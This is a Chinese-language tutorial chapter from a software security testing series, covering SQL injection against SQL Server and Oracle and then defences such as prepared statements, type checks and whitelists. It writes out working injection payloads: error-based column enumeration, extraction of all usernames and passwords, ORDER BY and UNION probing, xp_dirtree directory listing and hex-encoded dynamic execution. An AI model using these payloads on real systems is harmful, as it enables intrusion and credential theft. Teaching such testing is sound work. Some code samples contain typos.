前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >软件安全性测试(连载11)

软件安全性测试(连载11)

作者头像
顾翔
发布2020-02-10 11:14:22
1.4K0
发布2020-02-10 11:14:22
举报

4. SQL Server数据库特性

1)利用错误信息枚举当前表和列

假设当前有这么一张数据表。

create table users(

id int not null identity(1,1),

username varchar(10) not null,

password varchar(10) not null,

email varchar(50)

)

插入几条数据,比如。

insert into dbo.usersvalues('jerry','123456','xianggu625@126.com')

假设和系统中由用户输入用户名,然后显示该用户的信息,假设SQL语句为:

select * from users whereusername='$var'

假设这时候存在SQL注入,可以利用错误信息来获取表单的信息,方法如下。

在输入框中输入:jerry' having 1=1--,这时候SQL语句变为。

select * from users whereusername='jerry' having 1=1--'

后台会显示。

消息 8120,级别 16,状态 1,第 1 行

选择列表中的列'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

从而暴露表名users及列名id。接下来,在输入框中输入:jerry' group by id having 1=1--,这时候SQL语句变为。

select * from users whereusername='jerry' group by id having 1=1--'

后台会显示。

消息 8120,级别 16,状态 1,第 1 行

选择列表中的列'users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

这时候,又暴露列名id username。继续,在输入框中输入:'jerry' group byid,username having 1=1--,这时候SQL语句有变为。

select * from users whereusername='jerry' group by id,usernamehaving 1=1--'

后台会显示。

消息 8120,级别 16,状态 1,第 1 行

选择列表中的列'users.password' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

又把列名password给暴露了。

2)利用错误信息提取数据

假设用户登录界面,存在两个输入文本框,分别要求输入用户名和密码。在用户名文本框中输入:tom,而在密码文本框中输入:555555'and 1>(select top 1 username from users) --,SQL语句可能为如下形式。

select * from users whereusername='tom' and password='555555' and 1>(select top 1 username fromusers) --'

这个时候页面显示。

消息245,级别16,状态1,第1行

在将varchar值'jerry'转换成数据类型int时失败。

这样暴露了用户名为jerry,而不是输入的tom。

接下来,修改用户名为jerry,密码文本框中输入:555555'

and 1=CONVERT(int,(select stuff((select','+users.username,'|'+users.password from users

for xml path('')),1,1,''))) --,SQL语句可能为如下形式。

select* from users where username='jerry' and password='555555' and1=CONVERT(int,(select stuff((select ','+users.username,'|'+users.password fromusers for xml path('')),1,1,''))) --'

此时系统将把表中的所有信息显示出来。

消息 245,级别 16,状态 1,第 1 行

在将 nvarchar 值'jerry|123456,Linda|654321,cindy|qwert,Jessica|mnbvc' 转换成数据类型int 时失败。

由于黑客无法真正操作数据库,而是通过页面显示错误信息而得之的,所以需要注意以下两点。

l 程序不要把错误信息暴露给前端。

l 发布版本的时候,请关闭debug模式,尽可能把不必要的信息暴露给使用者。

3)利用Order by子句盲注

仍旧以开始的表为例,可以通过Order by子句盲注来获得表中的列数。假设页面URL为:http://www.mydomain.com/xxx.jsp?id=1,功能是显示id为1个用户的信息,存在SQL注入风险。

把URL后缀改为:…?id=1 Order by 1,对应SQL语句可能为。

select * from users where id=1Order by 1

显示正常,将Order by 1改为Order by 2,对应SQL语句可能为。

select * from users where id=1Order by 2

显示仍旧正常,将Order by 2改为Order by 3,对应SQL语句可能为。

select * from users where id=1Order by 3

显示仍旧正常,将Order by 3改为Order by 4,对应SQL语句可能为。

select * from users where id=1Order by 4

显示还是正常,将Order by 4改为Order by 5,对应SQL语句可能为。

select * from users where id=1Order by 5

显示内部错误,说明当前表中存在4列,这样为下面UNION攻击打下基础。

4)通过UNION攻击获取字段类型

有了上面的攻击,黑客得之当前表中存在4列,可以通过UNION攻击获取每列的字符类型。

URL后缀做如下修改:…?id=1Order by 1 union select 'x',null,null,nullfrom sysobjects where xtype='U',这样SQL语句变为。

select * from users where id=1union select 'x',null,null,null fromsysobjects where xtype='U'

显示内部错误,说明第一个字段不是字符串类型,修改URL:…?id=1 Order by 1 union select 1,null,null,null from sysobjects wherextype='U',这样SQL语句变为。

select * from users where id=1union select 1,null,null,null fromsysobjects where xtype='U'

显示正常,说明第一个字段是整数类型。从而可以继续判断后面三个字段类型。

5)通过UNION攻击获取元数据

正如3.1-2最后所述,可以利用UNION攻击获取元数据。在SQL Server中获取元数据语句如下。

l 获取表名

SELECT TABLE_NAME FROMINFORMATION_SCHEMA.TABLES

l 获取表中的列名

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNSwhere TABLE_NAME='users'

6)利用数据库函数

与MySQL一样,也可以使用数据库自带的函数获得系统数据,在这里仅把一些关键函数列在6中,不做过多的介绍。

6 SQL Server主要函数

函数

解释

select suser_name()

返回用户登录的标识名

select user_name()

基于指定的标识号返回数据库的用户名

select db_name()

返回数据库名称

select is_member('db_owner')

是否为数据库角色

select convert(int, '5')

数据类型转换

stuff()

字符串截取函数

acscii()

取ASCII码

getdate()

返回日期

count()

返回总记录数

cast()

将一种类型的表达式转换成另一种类型的表达式

rand()

返回随机数

is_srvrolemember()

指定SQL Server登录名是否为指定服务器角色的成员

7)使用存储过程

使用存储过程可以查询到数据库之外的系统信息,比如SQL Server下有一个存储过程叫xp_dirtree  <dir>,利用它可以获得目录dir所有子目录。SQL语句如下。

select * from users whereid=1;exec xp_dirtree 'C:\WINDOWS'

显示C:\WINDOWS所有目录与子目录。运行后的效果如27所示。

27 执行存储过程xp_dirtree'C:\WINDOWS'运行结果

更多的SQL Server存储过程读者可以查询SQL Server官方网站,另外读者也可以自己书写存储过程。

8)动态执行

SQL Server支持动态执行,其形式如下。

exec('select * from users')

如果前端不允许引号存在,可以使用下面形式。

declare @myquery varchar(888)

select @myquery =0x73656C6563742031

exec(@myquery)

防止动态执行最有效的方式是系统不要允许用户输入执行代码。

5. Oracle数据库特性

对于Oracle数据库,有了前面的知识,不做详细地介绍。

1)获取元数据

按照7的方法获取Oracle元数据

7 获取Oracle元数据

内容

语句

user_tablespaces视图,查看表空间

select tablespace_name from user_tablespaces

user_tables视图,查看当前用户的所有表

select table_name from user_tables where  rownum=1

user_tab_columns视图,查看当前用户的所有列

select column_name from user_tab_columns where  table_name= 'users'

服务器监听 IP

select utl _inaddr.get _host_address from dual

服务器操作系统

select member from v$logfile where rownum=1

服务器sid

select instance _name fromv$instance

当前连接用户

select SYS_CONTEXT('USERENV', 'CURRENT_USER')  trom dual

all_users视图,查看 Oracle数据库的所有用户。

select username from all_user

user_obiects视图,查看当前用户的所有对象(表名称、约束、索引)。

select obect_name from user_objects

2)通过UNION查询获取敏感信息

按照8的方法通过UNION查询获取敏感信息。

8 获取Oracle敏感信息

内容

语句

当前用户权限

select * from session_roles

当前数据库版本

select banner from sys.v _$Version where rownum=1

服务器出口IP

utl_http.request

服务器监听 IP

select utl _inaddr.get _host_address from dual

服务器操作系统

select member from v$logfile where rownum=1

服务器sid

select instance _name fromv$instance

当前连接用户

select SYS_CONTEXT('USERENV', 'CURRENT_USER') trom dual

Oracle不支持多语句查询,如下语句是错误的。

select * from user;exec(….)

另外在Oracle进行UNION查询的时候,不能采取

union slelect null,null,null

格式,而要采取如下格式。

union slelectnull,null,null…from dual

6. SQL注入的测试方法

对于SQL注入的测试,可以采用SQL Map、Pangolin(穿山甲)这两个工具,具体这两个工具的使用方法,在本书下篇的第6.2.2和第6.2.3将进行详细介绍。

7. SQL注入的防护方法

SQL注入的防护方法有以下几种方法。

1)严格字符类型

对于强类型语言,比如JAVA、C#,对于id不要使用字符串格式,而使用整数格式。比如。

int id =Inter.ParseInt(request.getParameter("id"));

而对于弱类型语言,比如PHP、ASP,使用类似is_number() ctype_digit()函数来判断。比如。

$id=$_GET('id')

if (is_number($id)){

$sql = "select * fromtables where id=$id;"; }

else{

echo "id必须为整数类型"

}

2)特殊转义字符

select * from user whereusername= '1111' password= '\' or 1=1 --\''

上面语句把单引号通过\转义。如果是JAVA语句可以用ESAPI。

Oracle orcl = new OracleCode();

String sql = select * from userwhere USERI="+ESAPI.encoder().encodeForSQL(orcl,userId);

Statement stmt=conn.creatrStatement(sql);

3)使用预编译

前面讲到的案例会发现都是使用拼接SQL语句的方式来实现,在JAVA中可以使用预编译的方式来实现防止SQL注入。下面代码是通过预编译来实现对数据如的查询的jsp代码。

<%

String sql="select count(*)as mycount from user where name=? and password=?" ;

Stringurl="jdbc:mysql://localhost/"+dbName+"?user="+userName+"&password="+userPasswd;

Class.forName(driverName).newInstance();

Connectionconn=DriverManager.getConnection(url);

PreparedStatement ps =conn.prepareStatement(sql);

ps.setString(1,name);

ps.setString(2,password);

ResultSet rs =ps.executeQuery();

out.print(sql+"<br>");

rs.next();

rs.close();

conn.close();

}catch(Exception e){

    out.print(e);}

%>

4)利用白名单过滤

可以利用白名单,控制可以访问的表名。

StringtableName=request.getParameter("tablename");

iftableName.equals("teacher"){

    stmt= "select * from teacher where name=? ";

}else iftableName.equals("student"){

     stmt = "select * from student wherename=? ";

}else {

    thrownew SQLException("table name is error!!! ");

}

5)使用安全WEB开发框架

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-12-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 软件测试培训 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档